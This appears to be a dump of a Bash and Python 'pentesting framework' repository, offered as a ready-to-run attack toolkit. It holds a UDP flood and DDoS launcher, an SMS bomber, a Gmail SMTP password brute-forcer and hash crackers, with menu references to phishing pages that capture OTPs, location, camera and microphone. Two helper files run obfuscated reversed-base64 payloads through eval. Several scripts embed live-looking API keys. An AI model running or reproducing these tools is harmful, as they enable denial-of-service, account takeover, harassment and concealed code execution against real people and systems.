├── assets ├── programs │ ├── help.module │ ├── cache.psf │ ├── pskill.psf │ ├── utils.psf │ ├── update.psf │ ├── remove.psf │ ├── colors.psf │ ├── info.module │ ├── troubleshoot.psf │ ├── tunnel.installer │ ├── credentials.site │ ├── requirements.psf │ ├── setup.psf │ ├── list.module │ ├── tunnel.configure │ ├── download.psf │ └── animation.psf ├── logos │ ├── logo.17 │ ├── logo.14 │ ├── logo.13 │ ├── logo.15 │ ├── logo.11 │ ├── logo.10 │ ├── logo.1 │ ├── logo.9 │ ├── logo.3 │ ├── logo.12 │ ├── logo.6 │ ├── logo.4 │ ├── logo.5 │ ├── logo.8 │ ├── logo.20 │ ├── logo.7 │ ├── logo.16 │ ├── logo.2 │ └── logo.18 ├── login │ ├── login.amd64 │ ├── login.arm64 │ ├── login.aarch64 │ └── login.conf └── extras │ └── extra.conf ├── __return__ ├── programs ├── BOMBER │ ├── CALLNSMS │ │ ├── callnsms.amd64 │ │ ├── callnsms.arm │ │ ├── callnsms.arm64 │ │ └── callnsms.aarch64 │ ├── SMS │ │ └── sms │ └── run ├── SYSTEM │ └── BINARY │ │ ├── ENCODE │ │ ├── binary.py │ │ └── run │ │ └── DECODE │ │ ├── binary.py │ │ └── run ├── REMOTE │ ├── ANDROID │ │ └── android │ └── PAYLOAD │ │ └── payload ├── SECURE │ ├── HASHES │ │ ├── hashes │ │ └── allhashes │ └── PASSWD │ │ └── passwd ├── FIND │ ├── HASHES │ │ └── md5_hash │ ├── IP │ │ └── finder.py │ └── PROXY │ │ └── finder.py ├── ATTACK │ └── DDOS │ │ ├── start │ │ ├── ip.py │ │ └── site.c ├── LOOKUP │ ├── COORDINATE │ │ └── coordinate │ ├── MAC │ │ └── mac │ └── NUMBER │ │ └── number ├── BRUTE │ ├── HASHES │ │ ├── sha1.brute.py │ │ ├── sha224.brute.py │ │ ├── sha256.brute.py │ │ ├── sha512.brute.py │ │ ├── md5.brute.py │ │ ├── sha1brute.offline.py │ │ ├── sha224brute.offline.py │ │ ├── sha512brute.offline.py │ │ ├── sha256brute.offline.py │ │ ├── sha384brute.offline.py │ │ ├── md5brute.offline.py │ │ └── ntlm.brute.py │ └── SOCIAL │ │ ├── gmail.py │ │ ├── facebook.py │ │ └── instagram.py ├── SCAN │ ├── VIRUS │ │ ├── start │ │ └── vtscan.py │ └── PWNED │ │ ├── pwned.py │ │ └── pwnpasswd.py ├── MASK │ └── NURL │ │ └── url └── LOCAL │ └── SERVER │ └── server ├── CREDIT.md ├── CONTRIBUTE.md └── README.md /assets/programs/help.module: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /__return__: -------------------------------------------------------------------------------- 1 | # return 2 | __return__() { 3 | return 105 4 | } 5 | __return__ 6 | -------------------------------------------------------------------------------- /assets/logos/logo.17: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ankushbhagats/pentesting-framework/HEAD/assets/logos/logo.17 -------------------------------------------------------------------------------- /assets/login/login.amd64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ankushbhagats/pentesting-framework/HEAD/assets/login/login.amd64 -------------------------------------------------------------------------------- /assets/login/login.arm64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ankushbhagats/pentesting-framework/HEAD/assets/login/login.arm64 -------------------------------------------------------------------------------- /assets/login/login.aarch64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ankushbhagats/pentesting-framework/HEAD/assets/login/login.aarch64 -------------------------------------------------------------------------------- /programs/BOMBER/CALLNSMS/callnsms.amd64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ankushbhagats/pentesting-framework/HEAD/programs/BOMBER/CALLNSMS/callnsms.amd64 -------------------------------------------------------------------------------- /programs/BOMBER/CALLNSMS/callnsms.arm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ankushbhagats/pentesting-framework/HEAD/programs/BOMBER/CALLNSMS/callnsms.arm -------------------------------------------------------------------------------- /programs/BOMBER/CALLNSMS/callnsms.arm64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ankushbhagats/pentesting-framework/HEAD/programs/BOMBER/CALLNSMS/callnsms.arm64 -------------------------------------------------------------------------------- /programs/BOMBER/CALLNSMS/callnsms.aarch64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ankushbhagats/pentesting-framework/HEAD/programs/BOMBER/CALLNSMS/callnsms.aarch64 -------------------------------------------------------------------------------- /CREDIT.md: -------------------------------------------------------------------------------- 1 | > `The Users Credit` 2 | 3 | + [`Hax4Us`](https://github.com/Hax4us) 4 | + [`remo7777`](https://github.com/remo7777) 5 | + [`Hilledkinged`](https://gitlab.com/Martinvlba) 6 | -------------------------------------------------------------------------------- /programs/SYSTEM/BINARY/ENCODE/binary.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | 5 | 6 | if __name__ == "__main__": 7 | if sys.argv[1] in ('-a', '--ascii'): 8 | print((bin(int.from_bytes(sys.argv[2].encode(), 'big')))[2:]) 9 | -------------------------------------------------------------------------------- /CONTRIBUTE.md: -------------------------------------------------------------------------------- 1 | > `The Contributors` 2 | 3 | + [`ankushbhagats`](https://github.com/ankushbhagats) 4 | + [`cyberknight777`](https://gitlab.com/cyberknight777) 5 | + [`netslutter`](https://gitlab.com/netslutter) 6 | + [`annpocoyo`](https://gitlab.com/annpocoyo) 7 | -------------------------------------------------------------------------------- /programs/REMOTE/ANDROID/android: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | read -r -p "${R4}psf${R0} use(${C1}adb/command${R0}) > " cmd 4 | 5 | if [[ ${#text} -gt 0 ]] 6 | then 7 | adb ${cmd} 8 | else 9 | adb --help 10 | echo "${cmd_list[@]}" 11 | fi 12 | -------------------------------------------------------------------------------- /assets/logos/logo.14: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | printf "\n\e[7;38;2;224;108;117mfn\e[0m \e[38;2;97;175;239mmain\e[0m() \e[0m{\n";SL 7 | printf " \e[38;2;198;120;221mprintln!\e[0m(\e[38;2;152;195;121m\"Welcome to Psfconsole!\"\e[0m);\n";SL 8 | printf "\e[0m}\n\n";SL 9 | -------------------------------------------------------------------------------- /programs/SECURE/HASHES/hashes: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | read -r -p "${R4}psf${R0} (${C1}hashes/${ARG_MS[${input} -1]~}/text${R0}) > " text 4 | 5 | if [[ ${#text} -gt 0 ]] 6 | then 7 | hashes=$(printf "$text" | "${ARG_MS[${input} -1]~}" | awk '{print $1}') 8 | echo -e "${ARG_MS[${input} -1]}: ${C2}${hashes}${R0}" 9 | else 10 | echo -e "${g0SIGN} Text value must be ${C1}0${R0} =< ${C2}1${R0}" 11 | fi 12 | -------------------------------------------------------------------------------- /programs/BOMBER/SMS/sms: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | printf "Only international format allow eg. +91******.\n" 4 | 5 | read -p $'\033[4mpsf\033[0m set(\033[91msms/number\033[0m) > ' number 6 | read -p $'\033[4mpsf\033[0m set(\033[91msms/text\033[0m) > ' text 7 | 8 | curl -X POST https://textbelt.com/text \ 9 | --data-urlencode phone="$number" \ 10 | --data-urlencode message="$text" \ 11 | -d key=textbelt 12 | echo 13 | -------------------------------------------------------------------------------- /programs/SYSTEM/BINARY/DECODE/binary.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | 5 | 6 | if __name__ == "__main__": 7 | if len(sys.argv) != 1 and len(sys.argv) <= 3: 8 | if sys.argv[1] in ('-b', '--binary'): 9 | n = int(sys.argv[2].replace(' ', ''), 2) 10 | print(n.to_bytes((n.bit_length() + 7) // 8, 'big').decode()) 11 | else: 12 | print("Example: decode -b '10000001'") 13 | -------------------------------------------------------------------------------- /programs/FIND/HASHES/md5_hash: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | printf "\033[4mpsf\033[0m use(\033[91mhash/md5\033[0m) > " 4 | read md5hash 5 | 6 | api=https://www.nitrxgen.net/md5db/$md5hash.json 7 | check=$(curl -s $api | jq .result.found -M -r) 8 | 9 | if [[ ${check} == "true" ]] 10 | then 11 | found=$(curl -s $api | jq .result.pass -M -r) 12 | echo -e "${g0SIGN} Founded $md5hash: \e[92m${found}\e[0m" 13 | else 14 | echo -e "${r1SIGN} Hash not found." 15 | fi 16 | -------------------------------------------------------------------------------- /assets/logos/logo.13: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | printf "\n\e[7;38;2;97;175;239m#include\e[0m \e[38;2;152;195;121m\e[0m\n";SL 7 | printf "\e[38;2;229;192;123mint\e[0m \e[38;2;97;175;239mmain\e[0m()\n";SL 8 | printf "{\n";SL 9 | printf " \e[38;2;97;175;239mprintf\e[0m(\e[38;2;152;195;121m\"Welcome to Psfconsole!\"\e[0m)\e[0m;\n";SL 10 | printf " \e[38;2;198;120;221mreturn\e[38;2;229;192;123m 0\e[0m;\n";SL 11 | printf "\e[0m}\e[0m\n\n";SL 12 | -------------------------------------------------------------------------------- /programs/SYSTEM/BINARY/DECODE/run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | main() { 4 | if [[ $__return__ == 105 ]];then 5 | cd $TMPDIR || exit 1 6 | printf "${b0SIGN} Downloading Program... \r" 7 | curl -sLO $RAWLINK/programs/SYSTEM/BINARY/DECODE/binary.py 8 | else 9 | cd $CWD/programs/SYSTEM/BINARY/DECODE &> /dev/null 10 | fi 11 | } 12 | 13 | main 14 | read -r -p $'\e[4mpsf\e[0m set(\e[91mdecode/binary\e[0m) > ' bin 15 | python3 binary.py -b "${bin}" 16 | cd - &> /dev/null 17 | -------------------------------------------------------------------------------- /programs/SYSTEM/BINARY/ENCODE/run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | main() { 4 | if [[ $__return__ == 105 ]];then 5 | cd $TMPDIR || exit 1 6 | printf "${b0SIGN} Downloading Program... \r" 7 | curl -sLO $RAWLINK/programs/SYSTEM/BINARY/ENCODE/binary.py 8 | else 9 | cd $CWD/programs/SYSTEM/BINARY/ENCODE &> /dev/null 10 | fi 11 | } 12 | 13 | main 14 | read -r -p $'\e[4mpsf\e[0m set(\e[91mencode/binary\e[0m) > ' string 15 | python3 binary.py -a "${string}" 16 | cd - &> /dev/null 17 | -------------------------------------------------------------------------------- /programs/ATTACK/DDOS/start: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | main() { 4 | if [[ $__return__ == 105 ]];then 5 | cd $TMPDIR || exit 1 6 | printf "${b0SIGN} Downloading Program... \r" 7 | curl -sLO $RAWLINK/programs/ATTACK/DDOS/site.c 8 | else 9 | cd $PWD/programs/ATTACK/DDOS/ &> /dev/null 10 | fi 11 | } 12 | 13 | main 14 | 15 | read -p $'\033[4mpsf\033[0m set(\033[91mddos/target/site\033[0m) > ' target 16 | 17 | 18 | chmod +x site.c 19 | gcc site.c -o site 20 | ./site "${target}" 80 21 | 22 | cd - &> /dev/null 23 | -------------------------------------------------------------------------------- /programs/LOOKUP/COORDINATE/coordinate: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | printf "${R4}psf${R0} set(${C1}coordinate/integer${R0})${R0} > " 4 | read coordinate 5 | coordinate=$(echo "$coordinate" | tr -d ' ') 6 | 7 | if [[ ${#coordinate} -gt "0" ]] 8 | then 9 | sleep 2 10 | curl -sL "https://geocode.xyz/$coordinate?json=1" | jq 11 | echo -e "${g0SIGN} Checkout at Google Maps : ${R4}https://www.google.com/maps/place/${coordinate}${R0}\n" 12 | else 13 | echo "${C1}(${R0}!${C1})${R0} User input not found." 14 | fi 15 | -------------------------------------------------------------------------------- /programs/LOOKUP/MAC/mac: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | printf "${R4}psf${R0} set(${C1}mac/address${R0})${R0} > " 4 | read mac 5 | 6 | if [[ ${#mac} -gt "0" ]] 7 | then 8 | if [[ "$mac" = *[1234567890\-\_\/\&\?\:\.\=]* ]]; 9 | then 10 | curl -sL https://api.macaddress.io/v1\?apiKey\=at_PNIrx4bLn8KMQwZSj6BC8Gnq0YVho\&output\=json\&search\=$mac | jq 11 | else 12 | echo -e "${C1}(${R0}!${C1})${R0} Wrong Command.\neg. 44:38:39:ff:ef:57" 13 | fi 14 | else 15 | echo "${C1}(${R0}!${C1})${R0} User input not found." 16 | fi 17 | -------------------------------------------------------------------------------- /programs/FIND/IP/finder.py: -------------------------------------------------------------------------------- 1 | import shodan 2 | import optparse 3 | import subprocess 4 | 5 | def main(): 6 | query = str(input("\033[4mpsf\033[0m use(\033[91msearch/query\033[0m) > ")) 7 | res = api.search(query) 8 | for service in res['matches']: 9 | print(service['ip_str'] + ' | ' + str(service['port']) + ' | ' + str(service['org'])) 10 | 11 | api = shodan.Shodan("SgU9XuO5BDy96qba0sHQ3bODnwovj5ns") 12 | 13 | if __name__ == "__main__": 14 | try: 15 | main() 16 | except KeyboardInterrupt: 17 | # do nothing here 18 | pass 19 | -------------------------------------------------------------------------------- /programs/BRUTE/HASHES/sha1.brute.py: -------------------------------------------------------------------------------- 1 | from urllib.request import urlopen 2 | import hashlib 3 | 4 | sha1hash = input("\033[4mpsf\033[0m set(\033[91mhash/sha1\033[0m) > ") 5 | url = str(input("\033[4mpsf\033[0m use(\033[91mpasswd/link/raw=true\033[0m) > ")) 6 | passlist = str(urlopen(url).read (), 'utf-8') 7 | for password in passlist.split('\n'): 8 | hashgess = hashlib.sha1(bytes(password, 'utf-8')).hexdigest() 9 | if hashgess == sha1hash: 10 | print("Accurate Password is: " + str(password)) 11 | quit() 12 | else: 13 | print("Checking password: " + str(password) + " Matching failed.") 14 | print("Password is Not Found in List.") 15 | -------------------------------------------------------------------------------- /programs/BRUTE/HASHES/sha224.brute.py: -------------------------------------------------------------------------------- 1 | from urllib.request import urlopen 2 | import hashlib 3 | 4 | sha224hash = input("\033[4mpsf\033[0m set(\033[91mhash/sha224\033[0m) > ") 5 | url = str(input("\033[4mpsf\033[0m use(\033[91mpasswd/link/raw=true\033[0m) > ")) 6 | passlist = str(urlopen(url).read (), 'utf-8') 7 | for password in passlist.split('\n'): 8 | hashgess = hashlib.sha224(bytes(password, 'utf-8')).hexdigest() 9 | if hashgess == sha224hash: 10 | print("Accurate Password is: " + str(password)) 11 | quit() 12 | else: 13 | print("Checking password: " + str(password) + " Matching failed.") 14 | print("Password is Not Found in List.") 15 | -------------------------------------------------------------------------------- /programs/BRUTE/HASHES/sha256.brute.py: -------------------------------------------------------------------------------- 1 | from urllib.request import urlopen 2 | import hashlib 3 | 4 | sha256hash = input("\033[4mpsf\033[0m set(\033[91mhash/sha256\033[0m) > ") 5 | url = str(input("\033[4mpsf\033[0m use(\033[91mpasswd/link/raw=true\033[0m) > ")) 6 | passlist = str(urlopen(url).read (), 'utf-8') 7 | for password in passlist.split('\n'): 8 | hashgess = hashlib.sha256(bytes(password, 'utf-8')).hexdigest() 9 | if hashgess == sha256hash: 10 | print("Accurate Password is: " + str(password)) 11 | quit() 12 | else: 13 | print("Checking password: " + str(password) + " Matching failed.") 14 | print("Password is Not Found in List.") 15 | -------------------------------------------------------------------------------- /programs/BRUTE/HASHES/sha512.brute.py: -------------------------------------------------------------------------------- 1 | from urllib.request import urlopen 2 | import hashlib 3 | 4 | sha512hash = input("\033[4mpsf\033[0m set(\033[91mhash/sha512\033[0m) > ") 5 | url = str(input("\033[4mpsf\033[0m use(\033[91mpasswd/link/raw=true\033[0m) > ")) 6 | passlist = str(urlopen(url).read (), 'utf-8') 7 | for password in passlist.split('\n'): 8 | hashgess = hashlib.sha512(bytes(password, 'utf-8')).hexdigest() 9 | if hashgess == sha512hash: 10 | print("Accurate Password is: " + str(password)) 11 | quit() 12 | else: 13 | print("Checking password: " + str(password) + " Matching failed.") 14 | print("Password is Not Found in List.") 15 | -------------------------------------------------------------------------------- /programs/SECURE/HASHES/allhashes: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | declare -a ALLHASHES=( 4 | 'md5sum' 5 | 'sha1sum' 6 | 'sha224sum' 7 | 'sha256sum' 8 | 'sha384sum' 9 | 'sha512sum' 10 | 'base64' 11 | 'base32' 12 | ) 13 | 14 | read -r -p "${R4}psf${R0} (${C1}hashes/text${R0}) > " text 15 | 16 | if [[ ${#text} -gt 0 ]] 17 | then 18 | for i in "${ALLHASHES[@]}" 19 | do 20 | KEY=$(printf "%02d" $NUM) 21 | LOOP=$((${LOOP:-0}+1)) 22 | CATCH=${i::$((${#i}))} 23 | HASH=$(printf "${text}" | ${CATCH} | awk '{print$1}') 24 | printf "${CATCH~} : ${C2}${HASH}${R0}\n" 25 | ((NUM++)) 26 | done 27 | else 28 | echo -e "${g0SIGN} Text value must be ${C1}0${R0} =< ${C2}1${R0}" 29 | fi 30 | -------------------------------------------------------------------------------- /programs/BRUTE/HASHES/md5.brute.py: -------------------------------------------------------------------------------- 1 | from urllib.request import urlopen 2 | import hashlib 3 | 4 | md5hash = input("\033[4mpsf\033[0m set(\033[91mhash/md5\033[0m) > ") 5 | url = str(input("\033[4mpsf\033[0m use(\033[91mpasswd/link/raw=true\033[0m) > ")) 6 | passlist = str(urlopen(url).read (), 'utf-8') 7 | 8 | for password in passlist.split('\n'): 9 | hashgess = hashlib.md5(bytes(password, 'utf-8')).hexdigest() 10 | if hashgess == md5hash: 11 | print("\033[92mAccurate Password is: " + str(password)) 12 | quit() 13 | else: 14 | print("\033[91mChecking password: " + str(password) + " Matching failed.") 15 | print("\033[91mPassword is Not Found in List.") 16 | -------------------------------------------------------------------------------- /programs/BRUTE/SOCIAL/gmail.py: -------------------------------------------------------------------------------- 1 | #!/bin/python2 2 | import smtplib 3 | 4 | smtpserver = smtplib.SMTP("smtp.gmail.com", 587) 5 | smtpserver.ehlo() 6 | smtpserver.starttls() 7 | 8 | user = raw_input("\033[4mpsf\033[0m set(\033[91musername/gmail\033[0m) > ") 9 | passswfile= raw_input("\033[4mpsf\033[0m set(\033[91mbrute/passwd/dir\033[0m) > ") 10 | 11 | passswfile = open(passswfile, "r") 12 | 13 | for password in passswfile: 14 | try: 15 | smtpserver.login(user, password) 16 | 17 | print "\033[92m Password found: \033[0m %s" % (password) 18 | break 19 | 20 | except smtplib.SMTPAuthenticationError: 21 | print "Trying Password : failed \033[91m%s\033[0m " % (password) 22 | -------------------------------------------------------------------------------- /assets/programs/cache.psf: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | rmCACHE() { 4 | if [[ ${MODE} == "PHISH/OTPWEB" ]] 5 | then 6 | rm -rf "${DIR}/server/${ARG_MS[${input} -1]}" &> /dev/null 7 | elif [[ ${MODE} == "PHISH/NOTPWEB" ]] 8 | then 9 | rm -rf "${DIR}/server/${ARG_MS[${input} -1]}" &> /dev/null 10 | elif [[ ${MODE} == "PHISH/GPSWEB" ]] 11 | then 12 | rm -rf "${DIR}/server/${ARG_MS[${input} -1]}" &> /dev/null 13 | elif [[ ${MODE} == "PHISH/CAMWEB" ]] 14 | then 15 | rm -rf "${DIR}/server/${ARG_MS[${input} -1]}" &> /dev/null 16 | elif [[ ${MODE} == "PHISH/MICWEB" ]] 17 | then 18 | rm -rf "${DIR}/server/${ARG_MS[${input} -1]}" &> /dev/null 19 | elif [[ ${MODE} == "ATTACK/DDOS" ]] 20 | then 21 | rm -rf $PWD/programs/ATTACK/DDOS/ddos &> /dev/null 22 | fi 23 | } 24 | 25 | -------------------------------------------------------------------------------- /assets/programs/pskill.psf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set +x 3 | ${@^^} ''$'\u0065'\val "$( IZnvb8H=' ${@//8u\`p} E"V"${@/\)\[FH/ICCw}AL "$( "${@~}" "${@%X1xIfU@}" ${*}P$'"'"'\U0072I'"'"'\N\T$*F %S '"'"' 4 | )D- 46ESAB kKIcPeJBTaYCNjxy4bcFGCsFYqci05wAYb3ENaYA3fgi8bcrjbfi21ciWvMCNbcFGmfuFrLtfjLuvnejGyxlGaxzYDgi8bskWqciL1wyUv2CHjgkKaIDTacCLj3zGWhizrfvKacCLj3zGWhi4vxyGmhCOqIcO0ZCSXwAlnhCGewlGuMCHX2yLrMckG3kGqxzZPGcPqcjG8gAJvgkK0Zuq9fvovKusv1qkKsl2aYyTacD1ngi8bsE0rhkK0twurLckG2CHj2lULMyVeYi <<<(< ECRUOS 5 | '"'"' "${@^}" ${@#8uPTs} | ${!@} R'"'"''"'"'$'"'"'\X65'"'"'\V "${@~~}" "${@#Q>\{yS}" ${*/z\]?EL} )" ${*^} ' "${@}" ; ${*,} ${*//f%8,W} p""ri''\nt$'\146' %s "${IZnvb8H~~}" ${!@} ${*/fW|Z.7} ; ${*} ${*##kpj^} )" ${@##?Ph4.\!} $* 6 | -------------------------------------------------------------------------------- /programs/ATTACK/DDOS/ip.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import time 4 | import socket 5 | import random 6 | 7 | from datetime import datetime 8 | now = datetime.now() 9 | hour = now.hour 10 | minute = now.minute 11 | day = now.day 12 | month = now.month 13 | year = now.year 14 | 15 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 16 | bytes = random._urandom(1490) 17 | 18 | ip = raw_input("\033[4mpsf\033[0m set(\033[91mddos/target/ip\033[0m) > ") 19 | port = input("\033[4mpsf\033[0m set(\033[91mddos/target/port\033[0m) > ") 20 | print 21 | 22 | sent = 0 23 | while True: 24 | sock.sendto(bytes, (ip,port)) 25 | sent = sent + 1 26 | port = port + 1 27 | print "Sent %s packet to %s throught port:%s"%(sent,ip,port) 28 | if port == 65534: 29 | port = 1 30 | -------------------------------------------------------------------------------- /programs/SCAN/VIRUS/start: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | main() { 4 | if [[ $__return__ == 105 ]];then 5 | cd $TMPDIR || exit 1 6 | printf "${b0SIGN} Downloading Program... \r" 7 | curl -sLO $RAWLINK/programs/SCAN/VIRUS/vtscan.py 8 | else 9 | cd $PWD/programs/SCAN/VIRUS/ &> /dev/null 10 | fi 11 | } 12 | 13 | main 14 | 15 | export VTSCAN_API_KEY=88cfc37609b923af64c6cf9b5dd044bcad64a1336edb7e51cb36a2b0b8a0ffd1 16 | 17 | read -r -p "${R4}psf${R0} (${C1}scan/file${R0}) > " file 18 | 19 | if [[ -f ${file} ]] 20 | then 21 | if [[ ${input} == "1" ]] 22 | then 23 | python3 vtscan.py -c "${file}" 24 | elif [[ ${input} == "2" ]] 25 | then 26 | python3 vtscan.py -p "${file}" 27 | elif [[ ${input} == "3" ]] 28 | then 29 | python3 vtscan.py -q "${file}" 30 | fi 31 | else 32 | echo -e "${g0SIGN} file not found." 33 | fi 34 | -------------------------------------------------------------------------------- /assets/programs/utils.psf: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | ${!@} $BASH ${*,} "${@}" <<< "$( nxfFjtHL=' ${*%C2$b+kD} P'"'"''"'"'RI\N$'"'"'T\U0066'"'"' %S "$( ${*%RA?si} \P${*}R"${@}"IN'"'"'T'"'"'F %S '"'"' 3 | )D- 46ESAB kOqAMPGiTbZwLX1AY92DL1wyYzwlN5wA0nxz05wzW9cBHL2yPzMzVjxzRnwyOjwyV02BJ5Iy1HgDPD2lVOZCWrhDO1gn7itoBvgxGOdi0nwzQ9MCWbczLnxAY9gA0vxqTjtoBvgxIaszTaYBOnwzkisBWSvzCfYzUL2C1bszYDsDVLhiSq3yLP2BYbfiKv2AY9MrGugAu1wm5SvzCjciL1ciVH2yLPGBLHgDk0vxGadi9eciYv2C1rciBTfiMLMckKYpKaYBOnwz7acBSvNBVyxzK9ci+yciL1wyUrciWvMCNbcFGC2BSbcDPDgkK0JCLnxDkWwyPnwAMz2BYv2AJfgAIfwpL1wyUPGcOnxyI9IBPj2lYnxDVeYi <<<(< ECRUOS 4 | '"'"' ${@//Rv*c/GVp>} | ${*#:\}^MI,V3} "${@~}" ""$'"'"'\162'"'"'\EV ${*^} ${!@} )" ${*#\{T4m} ${*/\(\)\(kA@/4Zc+FSg} | ${*//*.\!.\\} $'"'"'\X62\X61'"'"'SH ${*,,} ${*,,} ' "${@,}" ${*/~y9AaEA\(} && ${!@} ${*~~} $'\160''r''i'''n""t"f" %s "${nxfFjtHL~~}" $* ${@~~} ; ${*~~} )" "${@//dC~\!6Uua/_<^\`}" ${*//3CtNY} -------------------------------------------------------------------------------- /programs/LOOKUP/NUMBER/number: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | API1=6e1e8b9f3961a4a6ca3b871a2af0905f 4 | API2=490660c0f87b102de139340a93a9a90c 5 | 6 | n=$(echo $((RANDOM %2 +1))) 7 | nAPI="API${n}" 8 | 9 | read -p $'\e[4mpsf\e[0m set(\e[91mlookup/number\e[0m) > ' number 10 | read -p $'\e[4mpsf\e[0m set(\e[91mcountry/shortname\e[0m) > ' code 11 | 12 | main() 13 | { API=$1 14 | output=$(curl -sL "http://apilayer.net/api/validate?access_key=$API&number=$number&country_code=$code&format=2" | jq .) 15 | valid=$(printf "${output}" | tr -d '{"},' | grep -a 'valid' | awk '{print $2}') 16 | 17 | printf "${output}\n" | jq 18 | } 19 | 20 | main ${!nAPI} 21 | 22 | invalid=$(printf "${output}" | grep -o 'invalid_access_key') 23 | missing=$(printf "${output}" | grep -o 'missing_access_key') 24 | 25 | if [[ ${#number} -lt 1 ]] 26 | then 27 | echo -e "\e[91m(\e[0m!\e[91m)\e[0m Missing phone number." 28 | fi 29 | 30 | if [[ ${#code} -lt 1 ]] 31 | then 32 | echo -e "\e[91m(\e[0m!\e[91m)\e[0m Missing country shortname." 33 | fi 34 | 35 | if [[ ! ${valid} == "true" ]] 36 | then 37 | echo -e "\e[91m(\e[0m!\e[91m)\e[0m Invalid phone number." 38 | fi 39 | 40 | -------------------------------------------------------------------------------- /programs/BRUTE/HASHES/sha1brute.offline.py: -------------------------------------------------------------------------------- 1 | #!/bin/python2 2 | 3 | import hashlib 4 | import time 5 | import sys 6 | import getopt 7 | 8 | sha1_hash = raw_input('\033[4mpsf\033[0m set(\033[91mhash/sha1\033[0m) > ') 9 | pwdfile = raw_input('\033[4mpsf\033[0m use(\033[91mwordlist/path\033[0m) > ') 10 | 11 | try: 12 | pwdfile = open(pwdfile,"r") 13 | except: 14 | print ("\n\033[91m(\033[0m!\033[91m)\033[0m Invalid wordlist path!\033[0m\n") 15 | quit() 16 | counter = 1 17 | for password in pwdfile: 18 | hash_obj = hashlib.sha1(password.strip()) 19 | filesha1 = (hash_obj.hexdigest()) 20 | start = time.time() 21 | print "\033[91mChecking passowrd %d: %s\033[0m" % (counter, password.strip()) 22 | 23 | counter += 1 24 | end = time.time() 25 | t_time = (end - start) 26 | 27 | if sha1_hash == filesha1: 28 | print "\n\033[92mPassword Found :) \nPassword is : %s\033[36m" % password 29 | print "\033[92mTime taken: \033[0m", t_time, "seconds\033[0m" 30 | time.sleep(0.125) 31 | break 32 | else: 33 | print "\n\033[1;32m[\033[1;31m!\033[1;32m]\033[1;31mPassword not Found! :(\033[0m" 34 | -------------------------------------------------------------------------------- /programs/BRUTE/HASHES/sha224brute.offline.py: -------------------------------------------------------------------------------- 1 | #!/bin/python2 2 | 3 | import hashlib 4 | import time 5 | import sys 6 | import getopt 7 | 8 | sha2_hash = raw_input('\033[4mpsf\033[0m set(\033[91mhash/sha224\033[0m) > ') 9 | pwdfile = raw_input('\033[4mpsf\033[0m use(\033[91mwordlist/path\033[0m) > ') 10 | 11 | try: 12 | pwdfile = open(pwdfile,"r") 13 | except: 14 | print ("\n\033[91m(\033[0m!\033[91m)\033[0m Invalid wordlist path!\033[0m\n") 15 | quit() 16 | counter = 1 17 | for password in pwdfile: 18 | hash_obj = hashlib.sha224(password.strip()) 19 | filesha2 = (hash_obj.hexdigest()) 20 | start = time.time() 21 | print "\033[91mChecking passowrd %d: %s\033[0m" % (counter, password.strip()) 22 | 23 | counter += 1 24 | end = time.time() 25 | t_time = (end - start) 26 | 27 | if sha2_hash == filesha2: 28 | print "\n\033[92mPassword Found :) \nPassword is : %s\033[36m" % password 29 | print "\033[92mTime taken: \033[0m", t_time, "seconds\033[0m" 30 | time.sleep(0.125) 31 | break 32 | else: 33 | print "\n\033[1;32m[\033[1;31m!\033[1;32m]\033[1;31mPassword not Found! :(\033[0m" 34 | -------------------------------------------------------------------------------- /programs/BRUTE/HASHES/sha512brute.offline.py: -------------------------------------------------------------------------------- 1 | #!/bin/python2 2 | 3 | import hashlib 4 | import time 5 | import sys 6 | import getopt 7 | 8 | sha5_hash = raw_input('\033[4mpsf\033[0m set(\033[91mhash/sha512\033[0m) > ') 9 | pwdfile = raw_input('\033[4mpsf\033[0m use(\033[91mwordlist/path\033[0m) > ') 10 | 11 | try: 12 | pwdfile = open(pwdfile,"r") 13 | except: 14 | print ("\n\033[91m(\033[0m!\033[91m)\033[0m Invalid wordlist path!\033[0m\n") 15 | quit() 16 | counter = 1 17 | for password in pwdfile: 18 | hash_obj = hashlib.sha512(password.strip()) 19 | filesha5 = (hash_obj.hexdigest()) 20 | start = time.time() 21 | print "\033[91mChecking passowrd %d: %s\033[0m" % (counter, password.strip()) 22 | 23 | counter += 1 24 | end = time.time() 25 | t_time = (end - start) 26 | 27 | if sha5_hash == filesha5: 28 | print "\n\033[92mPassword Found :) \nPassword is : %s\033[36m" % password 29 | print "\033[92mTime taken: \033[0m", t_time, "seconds\033[0m" 30 | time.sleep(0.125) 31 | break 32 | else: 33 | print "\n\033[1;32m[\033[1;31m!\033[1;32m]\033[1;31mPassword not Found!! :(\033[0m" 34 | -------------------------------------------------------------------------------- 